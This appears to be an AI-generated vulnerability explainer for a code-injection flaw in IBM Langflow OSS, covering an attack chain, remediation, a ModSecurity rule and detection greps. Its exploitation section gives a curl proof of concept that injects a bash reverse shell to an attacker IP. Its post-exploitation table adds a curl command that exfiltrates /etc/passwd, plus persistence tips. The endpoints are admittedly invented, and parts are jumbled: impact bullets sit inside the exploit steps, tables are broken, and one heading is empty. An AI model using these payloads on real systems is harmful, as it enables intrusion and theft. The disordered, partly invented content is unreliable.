CVE-2026-115555 — IBM Langflow OSS (1.13.0) — CWE-94
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper control of code generation during the import of arbitrary Python modules.
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper control of code generation during the import of arbitrary Python modules.
🎯 What is this vulnerability?
CVE‑2026‑115555 is a classic code‑injection flaw (CWE‑94) in IBM Langflow OSS versions 1.0.0 through 1.13.0.
The application exposes an “import‑module” API that allows an authenticated user to upload or define a Python module.
During the import process the server:
1. Writes the supplied source code to disk without sanitising the filename or the code content.
2. Executes the module immediately (e.g., via importlib.import_module or exec) in the same process that serves the web application.
Because the code is executed with the same privileges as the web service (often a privileged user or even root), an attacker can inject arbitrary Python that can spawn shells, read/write files, or perform any action the service user can do.
The vulnerability is scope‑changing (S:C) because the injected code runs with the service’s privileges, giving the attacker full control over the host. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) confirms that a remote, low‑complexity, low‑privilege attacker can achieve complete confidentiality, integrity, and availability compromise.
⚡ Attack Chain
NOTE: The exact URI, parameter names, and authentication mechanism are not disclosed in the CVE text. The following chain uses illustrative endpoints and payloads that match the described behaviour. Replace the placeholders with the real values discovered during reconnaissance.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| Identify the product | HTTP header / banner | Server: IBM‑Langflow/1.13.0 or X‑Product: IBM Langflow |
| Locate the import API | Endpoint fuzzing / documentation | /api/import_module, /api/modules, or /modules/import |
| Determine auth method | Inspect login flow | JWT in Authorization: Bearer <token>, session cookie, or basic auth |
| Verify module upload | Send a benign module | {"module_name":"test","module_code":"print(\"hello\")"} → check if a new file appears in the modules directory |
2. Exploitation
1. Craft a malicious module that performs a privileged action (e.g., reverse shell).
2. Send an authenticated POST to the import endpoint with the malicious code.
3. Trigger the import (often the POST itself imports the module).
4. Code executes immediately on the server.
Illustrative PoC (replace <TARGET>, <TOKEN>, and <ATTACKER_IP> with real values)
curl -X POST "https://<TARGET>/api/import_module" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"module_name": "evil",
"module_code": "import os\nos.system(\"/bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'\")"
}'What happens?
- The server writes
evil.pyto its modules directory. - It immediately imports
evil, executing theos.systemcall. - A reverse TCP shell is opened back to the attacker.
- Loss of customer data and regulatory non‑compliance (GDPR, HIPAA, PCI‑DSS).
- Downtime of critical services (e.g., AI‑driven chatbots, data pipelines).
- Potential for lateral movement within the organization’s network.
- Long‑term persistence that can be used for future attacks.
- CVSS 9.9 (Critical) + Scope Change → Immediate risk.
- No CISA KEV status does not reduce the urgency; the flaw is already exploitable.
- Exploit Complexity: Low (requires only an authenticated session).
- Impact: Full system compromise.
If the import is lazy (the module is only executed when a separate endpoint is hit), the attacker can first upload the module and then trigger it via a second request such as GET /api/modules/evil/run.3. Post‑Exploitation
| Goal | How to achieve it |
|---|---|
| Full system control | Use the reverse shell to run sudo -i (if the service runs as root) or to install persistence mechanisms. |
| Data exfiltration | cat /etc/passwd > /tmp/passwd.txt → curl -X POST http://<ATTACKER_IP>/upload -F file=@/tmp/passwd.txt |
| Pivot | From the compromised host, launch additional scans or compromise other services on the same network. |
| Maintain presence | Create a cron job, add a new user, or modify the service’s startup script to load a malicious module on reboot. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary code can read any file the service user can access, including secrets, credentials, and database dumps. |
| Integrity (I:H) | The attacker can modify application code, configuration files, or database contents, effectively taking over the application. |
| Availability (A:H) | The attacker can crash the service by raising unhandled exceptions, deleting critical files, or exhausting resources (e.g., spawning many processes). |
| Scope (S:C) | The injected code runs with the same privileges as the web service, often root or a privileged service account, enabling full system compromise. |
Practical consequences for an enterprise:
🛡️ Remediation & Mitigation
Affected Versions
| Product | Affected Range | Fixed In |
|---|---|---|
| IBM Langflow OSS | 1.0.0 – 1.13.0 | 1.14.0 (or later) |
Upgrade to 1.14.0 or newer as soon as possible. The patch removes the ability to import arbitrary modules from untrusted users and enforces a strict whitelist of allowed modules.
Workarounds
| Mitigation | How to implement | ||||
|---|---|---|---|---|---|
| Disable the import endpoint | Remove or comment out the route in the application’s routing configuration. | ||||
| Restrict access | Configure the web server (NGINX/Apache) to allow the import endpoint only from trusted IPs or behind an internal VPN. | ||||
| Use a WAF rule | Block requests containing suspicious Python code patterns. Example ModSecurity rule: | ||||
``modsecurity\nSecRule REQUEST_HEADERS:Content-Type "application/json" "phase:2,chain,block,msg:'Disallow code injection via import API'\nSecRule ARGS:module_code \"(import | exec | eval | os\\.system | subprocess\\.Popen)\" \"t:none,phase:2,block,log,deny,status:403\"\n` | |
| Run the service as a non‑privileged user | If the application must run as root, consider using sudo` to drop privileges before executing user‑supplied code. |
Detection
| Indicator | Log pattern | How to search | ||||
|---|---|---|---|---|---|---|
| POST to import endpoint | POST /api/import_module | grep -i 'POST /api/import_module' /var/log/nginx/access.log | ||||
| Suspicious code | module_code containing os.system, subprocess, eval, exec | grep -i 'module_code' /var/log/nginx/access.log | grep -E 'os\.system | subprocess | eval | exec' |
| File creation | New files in the modules directory | auditctl -w /opt/langflow/modules -p wa | ||||
| Reverse shell attempts | Outbound connections from the host to an external IP on non‑standard ports | netstat -antp | grep ESTABLISHED | grep -v 127.0.0.1 | ||
| Unexpected process creation | python or bash processes started by the web user | ps -ef | grep python | grep -v grep |
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query